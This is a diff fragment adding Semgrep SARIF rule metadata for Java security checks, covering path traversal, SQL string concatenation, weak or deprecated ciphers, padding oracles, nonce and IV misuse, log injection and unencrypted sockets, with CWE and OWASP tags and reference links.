+                                    "CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2021 - Broken Access Control",
+                                    "OWASP-A01:2025 - Broken Access Control",
+                                    "OWASP-A05:2017 - Broken Access Control",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "In $METHOD, $X is used to construct a SQL query via string concatenation."
+                            },
+                            "help": {
+                                "markdown": "In $METHOD, $X is used to construct a SQL query via string concatenation.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "In $METHOD, $X is used to construct a SQL query via string concatenation.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation",
+                            "id": "java.jboss.security.session_sqli.find-sql-string-concatenation",
+                            "name": "java.jboss.security.session_sqli.find-sql-string-concatenation",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.jboss.security.session_sqli.find-sql-string-concatenation"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."
+                            },
+                            "help": {
+                                "markdown": "Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size",
+                            "id": "java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size",
+                            "name": "java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-326: Inadequate Encryption Strength",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."
+                            },
+                            "help": {
+                                "markdown": "Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle)\n - [https://capec.mitre.org/data/definitions/463.html](https://capec.mitre.org/data/definitions/463.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n - [https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY](https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY)\n",
+                                "text": "Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle",
+                            "id": "java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle",
+                            "name": "java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."
+                            },
+                            "help": {
+                                "markdown": "When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crlf-injection-logs.crlf-injection-logs",
+                            "id": "java.lang.security.audit.crlf-injection-logs.crlf-injection-logs",
+                            "name": "java.lang.security.audit.crlf-injection-logs.crlf-injection-logs",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crlf-injection-logs.crlf-injection-logs"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information."
+                            },
+                            "help": {
+                                "markdown": "DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated)\n - [https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard](https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n",
+                                "text": "DES is considered deprecated. AES is the recommended cipher. Upgrade to use AES. See https://www.nist.gov/news-events/news/2005/06/nist-withdraws-outdated-data-encryption-standard for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated",
+                            "id": "java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated",
+                            "name": "java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-326: Inadequate Encryption Strength",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.des-is-deprecated.des-is-deprecated"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES."
+                            },
+                            "help": {
+                                "markdown": "Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated)\n - [https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA](https://csrc.nist.gov/News/2017/Update-to-Current-Use-and-Deprecation-of-TDEA)\n",
+                                "text": "Triple DES (3DES or DESede) is considered deprecated. AES is the recommended cipher. Upgrade to use AES.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated",
+                            "id": "java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated",
+                            "name": "java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-326: Inadequate Encryption Strength",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.desede-is-deprecated.desede-is-deprecated"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY."
+                            },
+                            "help": {
+                                "markdown": "Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "Cipher in ECB mode is detected. ECB mode produces the same output for the same input each time which allows an attacker to intercept and replay the data. Further, ECB mode does not provide any integrity checking. See https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.ecb-cipher.ecb-cipher",
+                            "id": "java.lang.security.audit.crypto.ecb-cipher.ecb-cipher",
+                            "name": "java.lang.security.audit.crypto.ecb-cipher.ecb-cipher",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.ecb-cipher.ecb-cipher"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "GCM IV/nonce is reused: encryption can be totally useless"
+                            },
+                            "help": {
+                                "markdown": "GCM IV/nonce is reused: encryption can be totally useless\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "GCM IV/nonce is reused: encryption can be totally useless\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse",
+                            "id": "java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse",
+                            "name": "java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-323: Reusing a Nonce, Key Pair in Encryption",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.gcm-nonce-reuse.gcm-nonce-reuse"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."
+                            },
+                            "help": {
+                                "markdown": "NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher",
+                            "id": "java.lang.security.audit.crypto.no-null-cipher.no-null-cipher",
+                            "name": "java.lang.security.audit.crypto.no-null-cipher.no-null-cipher",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.no-null-cipher.no-null-cipher"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption."
+                            },
+                            "help": {
+                                "markdown": "Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector)\n - [https://cwe.mitre.org/data/definitions/329.html](https://cwe.mitre.org/data/definitions/329.html)\n",
+                                "text": "Initialization Vectors (IVs) for block ciphers should be randomly generated each time they are used. Using a static IV means the same plaintext encrypts to the same ciphertext every time, weakening the strength of the encryption.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector",
+                            "id": "java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector",
+                            "name": "java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-329: Generation of Predictable IV with CBC Mode",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.no-static-initialization-vector.no-static-initialization-vector"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Using RSA without OAEP mode weakens the encryption."
+                            },
+                            "help": {
+                                "markdown": "Using RSA without OAEP mode weakens the encryption.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding)\n - [https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/](https://rdist.root.org/2009/10/06/why-rsa-encryption-padding-is-critical/)\n",
+                                "text": "Using RSA without OAEP mode weakens the encryption.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding",
+                            "id": "java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding",
+                            "name": "java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-326: Inadequate Encryption Strength",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.rsa-no-padding.rsa-no-padding"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead."
+                            },
+                            "help": {
+                                "markdown": "Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "Detected use of a Java socket that is not encrypted. As a result, the traffic could be read by an attacker intercepting the network traffic. Use an SSLSocket created by 'SSLSocketFactory' or 'SSLServerSocketFactory' instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket",
+                            "id": "java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket",
+                            "name": "java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-319: Cleartext Transmission of Sensitive Information",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.unencrypted-socket.unencrypted-socket"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."
+                            },
+                            "help": {
+                                "markdown": "Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n",
+                                "text": "Use of AES with ECB mode detected. ECB doesn't provide message confidentiality and  is not semantically secure so should not be used. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb",
+                            "id": "java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb",
+                            "name": "java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-aes-ecb.use-of-aes-ecb"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."
+                            },
+                            "help": {
+                                "markdown": "Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n",
+                                "text": "Use of Blowfish was detected. Blowfish uses a 64-bit block size that  makes it vulnerable to birthday attacks, and is therefore considered non-compliant.  Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish",
+                            "id": "java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish",
+                            "name": "java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-blowfish.use-of-blowfish"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."
+                            },
+                            "help": {
+                                "markdown": "Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n",
+                                "text": "Use of AES with no settings detected. By default, java.crypto.Cipher uses ECB mode. ECB doesn't  provide message confidentiality and is not semantically secure so should not be used. Instead, use a strong, secure cipher: java.crypto.Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes",
+                            "id": "java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes",
+                            "name": "java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-default-aes.use-of-default-aes"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."
+                            },
+                            "help": {
